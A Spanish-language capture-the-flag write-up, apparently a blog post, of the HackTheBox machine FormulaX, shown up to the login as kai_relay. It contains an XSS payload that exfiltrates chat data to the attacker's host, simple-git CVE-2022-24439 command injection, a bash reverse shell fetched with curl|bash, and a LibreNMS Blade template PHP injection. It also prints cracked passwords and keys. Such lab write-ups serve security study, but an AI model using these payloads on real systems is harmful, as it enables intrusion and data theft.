FormulaX – HackTheBox Link to heading
- OS: Linux
- Difficulty/Dificultad: Hard / Difícil
- Platform/Plataforma: HackTheBox
Resumen Link to heading
FormulaX
es una máquina de dificultad Difícil, basada en Linux
, de la plataforma HackTheBox
. Luego de un escaneo inicial, vemos que el servidor víctima está corriendo un servicio web. Esta página nos permite crear un usuario en ella. Luego de crearlo, vemos que un formulario de “Contact Us” es vulnerable a Cross Site Scripting
(XSS
), el cual nos permite descubrir un nuevo subdominio/virtual host. Este nuevo subdominio está corriendo una versión vulnerable de simple-git
, catalogada como CVE-2022-24439, la cual permite ejecución remota de comandos con lo que podemos ganar acceso inicial a la máquina víctima. Una vez dentro, vemos que la máquina víctima está utilizando una base de datos MongoDB
. Dentro de ésta, somos capaces de extraer usuarios y sus hashes de contraseñas; para luego ser capaces de crackear una de ellas por buerza bruta utilizando el diccionario rockyou.txt
. Obtenemos entonces credenciales para un primer usuario, el cual es capaz de ingresar a la máquina víctima por medio de SSH
. Una vez dentro como este nuevo usuario, vemos que la máquina está corriendo LibreNMS
y que nuestro usuario es capaz de agregar un usuario “admin” dentro del portal de LibreNMS
. Ya dentro del portal LibreNMS
con un usuario que hemos creado, somos capaces de inyectar código PHP
y conectarnos como el usuario que estaba corriendo el servicio LibreNMS
; este usuario tiene acceso a archivos .env
los cuales filtran la contraseña de un segundo usuario. Este segundo usuario puede inicializar el servicio Libre Office
dentro de la máquina, el cual puede ser abusado para escalar privilegios y convertirse en root
.
User / Usuario Link to heading
Empezando con un scan conNmap
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.6 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 20:10 -04
Nmap scan report for 10.10.11.6
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA)
|_ 256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-cors: GET POST
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
Visitando http://10.10.11.6
muestra una simple página web:
Si nos creamos un usuario en la página web, ahora podemos ver un botón que dice Chat Now
. Clickeando en éste redirige a http://10.10.11.6/restricted/chat.html
. El sitio, aparentemente, presenta un chatbot similar a ChatGPT
, pero en una versión ultra-alpha. Podemos interactuar con el bot de esta página y “hablar” con él. No obstante, éste sólo acepta comandos fijos como help
o history
:
En la Home Page
del sitio web (http://10.10.11.6/restricted/home.html
) podemos ver un botón de Contact Us
(contacto). Clickeando en éste redirige a http://10.10.11.6/restricted/contact_us.html
, el cual muestra un nuevo formulario que puede ser rellenado:
Decido rellenar este formulario hasta obtener algo. Para ello empiezo un listener con netcat
en el puerto 8080
. Una data que me retorna algo a mi listener es:
De manera que, como body del mensaje, pasamos el payload:
<img src='http://10.10.16.2:8080/test'>
donde 10.10.16.2
es mi IP de atacante.
Luego de unos segundos de enviar el payload, obtengo algo en mi listener con netcat
:
❯ nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.6] 34080
GET /test HTTP/1.1
Host: 10.10.16.2:8080
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/113.0.5672.63 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://chatbot.htb/
Accept-Encoding: gzip, deflate
de manera que el servidor está tratando de obtener un recurso. Encontramos entonces que este formulario es vulnerable a Cross Site Scripting
(XSS
). Y de allí el nombre de la máquina (los cuales siempre dan una pista de cómo resolverla): FormulaX
-> Formulario vulnerable a XSS
.
Noto además que, si aceptamos múltiples request en un servidor Python
HTTP
en el mismo puerto que envía el payload (8080
), al poner una petición maliciosa en la página de Contact Us
ésta no sólo nos está solicitando un recurso, sino que nos está haciendo múltiples peticiones:
❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.6 - - [21/May/2024 20:54:16] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:16] "GET /test HTTP/1.1" 404 -
10.10.11.6 - - [21/May/2024 20:54:20] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:20] "GET /test HTTP/1.1" 404 -
10.10.11.6 - - [21/May/2024 20:54:22] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:22] "GET /test HTTP/1.1" 404 -
10.10.11.6 - - [21/May/2024 20:54:26] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:26] "GET /test HTTP/1.1" 404 -
Ahora bien, la parte realmente difícil de esta máquina es cómo leer la data que nos está enviando el servidor víctima. Necesitamos, de alguna manera, “emular” los endpoints que el servidor web está solicitando y así poder leer la data enviada desde el servidor. Para esto empezamos a mirar por archivos HTML
y JavaScript
(.js
) en el directorio /restricted
con Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.6/restricted -t 55 -x html,js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.6/restricted
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: js,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about.html (Status: 200) [Size: 46]
/home.html (Status: 200) [Size: 46]
/contact_us.html (Status: 200) [Size: 46]
/contact_us.js (Status: 200) [Size: 1057]
/Home.html (Status: 200) [Size: 46]
/chat.html (Status: 200) [Size: 46]
/chat.js (Status: 200) [Size: 1491]
/About.html (Status: 200) [Size: 46]
/Contact_Us.html (Status: 200) [Size: 46]
/Chat.html (Status: 200) [Size: 46]
/HOME.html (Status: 200) [Size: 46]
/Contact_us.html (Status: 200) [Size: 46]
/changePassword.html (Status: 200) [Size: 46]
/changepassword.html (Status: 200) [Size: 46]
/changepassword.js (Status: 200) [Size: 1084]
/ABOUT.html (Status: 200) [Size: 46]
/ChangePassword.html (Status: 200) [Size: 46]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================
donde encontramos algunos archivos .js
que pueden ser de interés.
Analizando http://10.10.11.6/restricted/contact_us.js
muestra el código que permite el payload de XSS
:
// A function that handles the submit request of the user
const handleRequest = async () => {
try {
const first_name = await document.getElementById('first_name').value
const last_name = await document.getElementById('last_name').value
const message = await document.getElementById('message').value
axios.post(`/user/api/contact_us`, {
"first_name": first_name,
"last_name": last_name,
"message": message
}).then((response) => {
try {
document.getElementById('first_name').value = ""
document.getElementById('last_name').value = ""
document.getElementById('message').value = ""
// here we are gonna show the error
document.getElementById('error').innerHTML = response.data.Message
} catch (err) {
alert("Something went Wrong")
}
})
} catch {
document.getElementById('error').innerHTML = "Something went Wrong"
}
}
y revisando el archivo /restricted/chat.js
:
let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
//listening for the messages
socket.on('message', (my_message) => {
//console.log("Received From Server: " + my_message)
Show_messages_on_screen_of_Server(my_message)
})
const typing_chat = () => {
value = document.getElementById('user_message').value
if (value) {
// sending the messages to the server
socket.emit('client_message', value)
Show_messages_on_screen_of_Client(value);
// here we will do out socket things..
document.getElementById('user_message').value = ""
}
else {
alert("Cannot send Empty Messages");
}
}
function htmlEncode(str) {
return String(str).replace(/[^\w. ]/gi, function (c) {
return '&#' + c.charCodeAt(0) + ';';
});
}
const Show_messages_on_screen_of_Server = (value) => {
const div = document.createElement('div');
div.classList.add('container')
div.innerHTML = `
<h2>🤖 </h2>
<p>${value}</p>
`
document.getElementById('big_container').appendChild(div)
}
// send the input to the chat forum
const Show_messages_on_screen_of_Client = (value) => {
value = htmlEncode(value)
const div = document.createElement('div');
div.classList.add('container')
div.classList.add('darker')
div.innerHTML = `
<h2>🤖 </h2>
<p>${value}</p>
`
document.getElementById('big_container').appendChild(div)
}
tenemos cómo se procesan los mensajes para el bot.
El segundo script, chat.js
, se ve interesante dado que está haciendo una petición al endpoint API /user/api/chat
. Adicionalmente, si interceptamos con Burpsuite
qué es lo que envía la petición al servidor víctima cuando le damos una orden al bot de la página web tenemos lo siguiente:
GET /socket.io/?EIO=4&transport=polling&t=O-U2x4Z HTTP/1.1
Host: 10.10.11.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Referer: http://10.10.11.6/restricted/chat.html
Cookie: authorization=Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NjRkNTJhOTY2Nzg2M2QwYTNmYjhkMDYiLCJpYXQiOjE3MTYzNDM0NzV9._-XmykICwd7YdKAVfT9NyuKr64XofXHrFc5VqXH3fyw
donde veo que realiza una petición al directorio /socket.io
.
Buscando por What is socket.io?
(¿qué es socket.io?
) en Google tenemos:
Socket.IO
es un programa para “mediar” entre el frontend y el backend del servidor.De la documentación de Socket.io, en el ejemplo de un archivo index.html
, podemos ver que está haciendo una petición al archivo ubicado en: /socket.io/socket.io.js
.
Podemos verificar que este archivo existe en el servidor web http://10.10.11.6/socket.io/socket.io.js
usando cURL
:
❯ curl -s http://10.10.11.6/socket.io/socket.io.js | head
/*!
* Socket.IO v4.7.1
* (c) 2014-2023 Guillermo Rauch
* Released under the MIT License.
*/
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ? define(factory) :
(global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.io = factory());
})(this, (function () { 'use strict';
Con toda esta data recolectada podemos entonces de leer la data del servidor. Para ello creamos un script malicioso de JavaScript
el cual recibe el mensaje del servidor y lo encodea a base64
; todo esto basándonos en el código original del archivo chat.js
hallado previamente:
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials:true});
socket.on('message', (my_message) => {
fetch("http://10.10.16.2:8000/?d=" + btoa(my_message))
});
socket.emit('client_message', 'history');
});
y guardamos este archivo como exploit.js
.
Empiezo otro servidor Python
HTTP
, pero ahora en el puerto 8000
donde se encuentra ubicado el archivo exploit.js
:
❯ ls && python3 -m http.server 8000
exploit.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
En la página web de la máquina víctima, vuelvo a la página de Contact Us
, relleno el formulario, y antes de enviarlo intercepto la petición con Burpsuite
. Envío esta petición al Repeater
(Ctrl+R
). Luego, envío la siguiente petición HTTP
con Burpsuite
:
POST /user/api/contact_us HTTP/1.1
Host: 10.10.11.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 168
Origin: http://10.10.11.6
DNT: 1
Connection: close
Referer: http://10.10.11.6/restricted/contact_us.html
Cookie: authorization=Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NjRkNTVmZjY2Nzg2M2QwYTNmYjk0OTgiLCJpYXQiOjE3MTYzNDQzMzh9.Luv5ZIi-x48Bwf1cTRpJD2KQSwqGOeO-g0jwxtfj-Rk
{
"first_name":"John",
"last_name":"Wick",
"message":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='http://10.10.16.2:8000/exploit.js'\">"
}
donde, de nuevo, 10.10.16.2
es mi IP de atacante. Aquí la parte importante se encuentra en el parámetro message
, dado que lleva el payload basado en la estructura del archivo chat.js
.
Luego de enviar el payload, obtengo algo en mi servidor temporal:
❯ ls && python3 -m http.server 8000
exploit.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.6 - - [21/May/2024 22:19:52] "GET /exploit.js HTTP/1.1" 200 -
10.10.11.6 - - [21/May/2024 22:19:52] code 501, message Unsupported method ('OPTIONS')
10.10.11.6 - - [21/May/2024 22:19:52] code 501, message Unsupported method ('OPTIONS')
10.10.11.6 - - [21/May/2024 22:19:52] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk= HTTP/1.1" 501 -
10.10.11.6 - - [21/May/2024 22:19:52] "OPTIONS /?d=SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg== HTTP/1.1" 501 -
10.10.11.6 - - [21/May/2024 22:19:52] code 501, message Unsupported method ('OPTIONS')
10.10.11.6 - - [21/May/2024 22:19:52] "OPTIONS /?d=R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM= HTTP/1.1" 501 -
Decodeando estos mensajes, tenemos:
❯ echo -n 'SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg==' | base64 -d
Hello, I am Admin.Testing the Chat Application%
❯ echo -n 'V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk=' | base64 -d
Write a script for dev-git-auto-update.chatbot.htb to work properly%
❯ echo -n 'V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl' | base64 -d
Write a script to automate the auto-update%
❯ echo -n 'TWVzc2FnZSBTZW50Ojxicj5oaXN0b3J5' | base64 -d
Message Sent:<br>history
De aquí puedo ver un nuevo subdominio: dev-git-auto-update.chatbot.htb
. Decido agregar este nuevo subdominio a mi archivo /etc/hosts
:
❯ echo '10.10.11.6 dev-git-auto-update.chatbot.htb' | sudo tee -a /etc/hosts
Visitando http://dev-git-auto-update.chatbot.htb
muestra una nueva página:
donde, en la parte inferior de ésta, puedo leer el texto Made with ❤ by Chatbot Using simple-git v3.14
.
Bucando por exploits de simple-git
para esta versión encontramos este Issue en Github, basado en este reporte la cual también provee un Proof of Concept de una vulnerabilidad catalogada como CVE-2022-24439. Esta vulnerabilidad nos permite un Remote Code Execution
(ejecución remota de comandos). Básicamente, basados en el PoC dado, podríamos intentar:
ext::sh -c touch% /tmp/pwned
para crear un archivo llamado /tmp/pwned
en la máquina víctima.
- Podemos adaptar el PoC. Para ello crearé un archivo llamado
rev.sh
en mi máquina de atacante con el contenido:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'
donde, de nuevo, 10.10.16.2
es mi IP de atacante y 443
es el puerto en el cual me pondré en escucha con nc
. Además, el asigno permisos de ejecución con chmod +x rev.sh
. Expongo este archivo seteando nuevamente un servidor Python
HTTP
en el puerto 8000
(python3 -m http.server 8000
) y corro en la página que se encuentra en desarrollo http://dev-git-auto-update.chatbot.htb
el comando:
ext::sh -c curl% http://10.10.16.2/rev.sh|bash
Donde antes de pasar el comando, empiezo un listener con netcat
en el puerto 443
. Paso entonces el comando en la página web como se muestra a continuación:
y obtengo una shell como www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.6] 38452
bash: cannot set terminal process group (1164): Inappropriate ioctl for device
bash: no job control in this shell
www-data@formulax:~/git-auto-update$ whoami
whoami
www-data
Revisando por puertos internos abiertos en la máquina víctima, noto que el puerto 27017
está expuesto luego de correr:
www-data@formulax:~/git-auto-update$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=954,fd=7),("nginx",pid=953,fd=7))
LISTEN 0 511 127.0.0.1:8081 0.0.0.0:* users:(("node /var/www/g",pid=1164,fd=20))
LISTEN 0 511 127.0.0.1:8082 0.0.0.0:* users:(("node /var/www/a",pid=1163,fd=19))
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:* users:(("nginx",pid=954,fd=6),("nginx",pid=953,fd=6))
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 10 127.0.0.1:46465 0.0.0.0:* users:(("chrome",pid=1263,fd=45))
LISTEN 0 4096 127.0.0.1:27017 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
el cual es el puerto por defecto para MongoDB
. Podemos interactuar con la base de datos corriendo el comando mongo --shell
:
www-data@formulax:~/git-auto-update$ mongo --shell
MongoDB shell version v4.4.29
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("d6df1c53-2af2-4f5d-8b1e-e9fb5c903c56") }
MongoDB server version: 4.4.8
type "help" for help
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
https://docs.mongodb.com/
Questions? Try the MongoDB Developer Community Forums
https://community.mongodb.com
---
The server generated these startup warnings when booting:
2024-05-20T18:10:37.949+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
2024-05-20T18:10:40.991+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
>
Una vez dentro, puedo ver una database llamada testing
, con una tabla llamada users
. Si vemos qué es lo que ésta contiene tenemos:
> use testing
switched to db testing
> show tables
messages
users
> db.users.find().pretty()
{
"_id" : ObjectId("648874de313b8717284f457c"),
"name" : "admin",
"email" : "admin@chatbot.htb",
"password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.",
"terms" : true,
"value" : true,
"authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTYzNDY5MDN9.LAXwL7wyyZ4mniyMYHIZ0mGr4c6uCCxZBd5Hd7XBiWo",
"__v" : 0
}
{
"_id" : ObjectId("648874de313b8717284f457d"),
"name" : "frank_dorky",
"email" : "frank_dorky@chatbot.htb",
"password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6",
"terms" : true,
"value" : true,
"authorization_token" : " ",
"__v" : 0
}
Aquí puedo ver 2 usuarios con su hash de contraseña: admin
y frank_dorky
Noto que el usuario frank_dorky
existe en la máquina víctima:
www-data@formulax:~/git-auto-update$ ls /home
frank_dorky kai_relay
Guardo ambos hashes en un archivo llamado found_hashes
:
❯ cat found_hashes
admin:$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.
frank_dorky:$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6
y trato de crackearlos a través de un Brute Force Password Cracking
usando JohnTheRipper
(john
) junto con el diccionario rockyou.txt
.
Encontramos una password para el usuario frank_dorky
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt found_hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (frank_dorky)
1g 0:00:13:45 1.01% (ETA: 21:46:18) 0.001210g/s 208.0p/s 211.5c/s 211.5C/s gamita..fugitiva
Use the "--show" option to display all of the cracked passwords reliably
Tenemos credenciales: frank_dorky:manchesterunited
.
Reviso si me puedo conectar con estas credenciales a través de SSH
con la herramienta NetExec
:
❯ netexec ssh 10.10.11.6 -u 'frank_dorky' -p 'manchesterunited'
SSH 10.10.11.6 22 10.10.11.6 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH 10.10.11.6 22 10.10.11.6 [+] frank_dorky:manchesterunited (non root) Linux - Shell access!
y funcionan.
Así que nos logueamos vía SSH
como el usuario frank_dorky
y obtenemos la flag de usuario:
❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no frank_dorky@10.10.11.6
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Mar 5 10:19:47 2024 from 10.10.14.23
frank_dorky@formulax:~$ ls
user.txt
Root Link to heading
De los puertos internos abiertos, recuerdo que el puerto 3000
estaba expuesto:
frank_dorky@formulax:~$ ss -ntlp | grep "3000"
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
Usando cURL
contra nuestro localhost
podemos ver que, en efecto, se trata de un sitio web:
frank_dorky@formulax:~$ curl -s http://localhost:3000
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='http://localhost:3000/login'" />
<title>Redirecting to http://localhost:3000/login</title>
</head>
<body>
Redirecting to <a href="http://localhost:3000/login">http://localhost:3000/login</a>.
</body>
</html>
Dado que tenemos acceso por medio de SSH
, trataré de performar un Local Port Forwarding
para ganar acceso al puerto interno al cual no tenemos acceso. Para esto, convertiré el puerto 3000
de la máquina víctima en el puerto 1234
de mi máquina de atacante. Para ello salgo de la sesión de SSH
y me vuelvo a reloguear, pero esta vez corriendo:
❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no -L 1234:localhost:3000 frank_dorky@10.10.11.6
Ahora, en un browser de internet como Firefox
, podemos visitar http://localhost:1234
y ver un nuevo panel de login:
el cual está corriendo LibreNMS
. Googleando What is LibreNMS
tenemos:
LibreNMS
is a fully featured network monitoring system that provides a wealth of features and device support. LibreNMS
can be used to monitor a wide range of features, including support for a variety of protocols, performance monitoring, alerts, and more.LibreNMS
es una herramienta para monitoreo.Buscando por librenms
en la máquina víctima desde nuestra sesión por SSH
obtenemos 3 directorios:
frank_dorky@formulax:~$ find / -name "librenms" 2>/dev/null
/var/lib/mysql/librenms
/etc/logrotate.d/librenms
/opt/librenms
Si buscamos cómo agregar usuarios a este servicio, encontramos este foro de la comunidad el cual lo explica. Dentro de uno de estos directorios debería de existir un archivo adduser.php
el cual nos permite agregar usuarios. Es así como encuentro:
frank_dorky@formulax:/opt/librenms$ ls -la /opt/librenms/adduser.php
-rwxr-xr-x 1 librenms librenms 956 Oct 18 2022 /opt/librenms/adduser.php
del cual tenemos permisos de ejecución.
Corriendo este archivo tenemos:
frank_dorky@formulax:/opt/librenms$ /opt/librenms/adduser.php
Add User Tool
Usage: ./adduser.php <username> <password> <level 1-10> [email]
de manera que crearé un usuario con rol admin
llamado gunzf0x
con nivel (level) 10
(dado que, como se explica en el post del foro, 10
significa rol de admin
):
frank_dorky@formulax:/opt/librenms$ /opt/librenms/adduser.php gunzf0x gunzf0x123 10 gunzf0x@gunzf0x.htb
User gunzf0x added successfully
Podemos entonces acceder al panel usando las credenciales gunzf0x:gunzf0x123
(o con el usuario que hayamos agregado). Ahora vemos lo siguiente:
Yendo a Gadget Symbol
a un costado de mi nombre de usuario, luego a Validate Config
y yendo hacia la parte inferior de la página web, puedo ver un error:
FAIL: server_name is set incorrectly for your webserver, update your webserver config. localhost librenms.com
Para tratar de arreglar esto, agrego librenms.com
temporalmente como localhost
a mi archivo /etc/hosts
:
❯ echo "127.0.0.1 librenms.com" | sudo tee -a /etc/hosts
Ahora, puedo visitar http://librenms.com:1234
e ir a Validate Config
de nuevo. Pero ahora tengo un nuevo error:
FAIL: base_url is not set correctly
Luego de algunos momentos de pánico me di cuenta de que básicamente este error se debe al puerto que hemos seleccionado al hacer el paso de Local Port Forwarding
: La máquina víctima estaba corriendo LibreNMS
en el puerto 3000
, pero yo lo configuré en mi puerto 1234
y, en este caso, ello está causando un conflicto.
Termino con la conexión de SSH
con la cual había establecido el túnel, y ahora convierto mi puerto 3000
en el puerto 3000
de la máquina víctima.
❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no -L 3000:localhost:3000 frank_dorky@10.10.11.6
Re-visitando http://librenms.com:3000/validate
ya no muestra errores esta vez (uff):
Ahora, yendo a Alert -> Alert Templates
nos permite crear un nuevo template. Clickeando en Create new alert template
desplega una nueva ventana. Buscando cómo agregar templates a LibreNMS vemos que somos capaces de agregar templates usando PHP
. Luego de una breve investigación, descubro que LibreNMS
usa Blade
, un engine de templates incluido en Laravel
. Siguiendo este simple ejemplo de cómo agregar templates en Blade es que podemos agregar un template malicioso:
de donde hemos agregado una pequeña porción de código PHP
:
@php
system('curl http://10.10.16.2:8000/rev.sh|bash')
@endphp
En mi máquina de atacante comienzo, de nuevo, un servidor Python
HTTP
en el puerto 8000
donde el archivo rev.sh
estaba localizado (el mismo archivo que habíamos utilizado antes para ganar acceso inicial a la máquina como el usuario www-data
), y empiezo un listener con netcat
en el puerto 443
. Luego, clickeo en Create Template
en la página de LibreNMS
. Luego de realizar esto obtengo una shell como el usuario librenms
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.6] 52348
bash: cannot set terminal process group (943): Inappropriate ioctl for device
bash: no job control in this shell
librenms@formulax:~$ whoami
whoami
librenms
La ventaja de este nuevo usuario es que puede leer archivos en el directorio /opt/librenms
. Allí puedo ver un archivo .custom.env
:
librenms@formulax:~$ ls -la /opt/librenms
ls -la /opt/librenms
total 5216
drwxrwx--x 27 librenms librenms 4096 Feb 19 13:33 .
drwxr-xr-x 3 root root 4096 Feb 16 15:21 ..
lrwxrwxrwx 1 root root 9 Feb 19 13:33 .bash_history -> /dev/null
drwxrwxr-x 4 librenms librenms 4096 Feb 16 15:21 .cache
-rw-r--r-- 1 librenms librenms 815 Oct 18 2022 .codeclimate.yml
drwxrwxr-x 3 librenms librenms 4096 Feb 16 15:21 .config
-rw-rw-r-- 1 librenms librenms 353 Sep 7 2023 .custom.env
-rw-r--r-- 1 librenms librenms 258 Oct 18 2022 .editorconfig
-rw-r--r-- 1 librenms librenms 73 Oct 18 2022 .env.example
-rw-r--r-- 1 librenms librenms 197 Oct 18 2022 .env.travis
<SNIP>
librenms@formulax:~$ cat /opt/librenms/.custom.env
cat /opt/librenms/.custom.env
APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=
DB_HOST=localhost
DB_DATABASE=librenms
DB_USERNAME=kai_relay
DB_PASSWORD=mychemicalformulaX
#APP_URL=
NODE_ID=648b260eb18d2
VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg
VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ
de donde puedo ver un usuario y contraseña. De manera que tenemos nuevas credenciales para jugar kai_relay:mychemicalformulaX
.
Reviso si nos podemos loguear via SSH
como el usuario kai_relay
con estas credenciales:
❯ netexec ssh 10.10.11.6 -u 'kai_relay' -p 'mychemicalformulaX'
SSH 10.10.11.6 22 10.10.11.6 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH 10.10.11.6 22 10.10.11.6 [*] Current user: 'kai_relay' was in 'sudo' group, please try '--sudo-check' to check if user can run sudo shell
SSH 10.10.11.6 22 10.10.11.6 [+] kai_relay:mychemicalformulaX (non root) Linux - Shell access!
y podemos.
Nos conectamos como el usuario kai_relay
por medio de SSH
:
❯ sshpass -p 'mychemicalformulaX' ssh -o stricthostkeychecking=no kai_relay@10.10.11.6
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
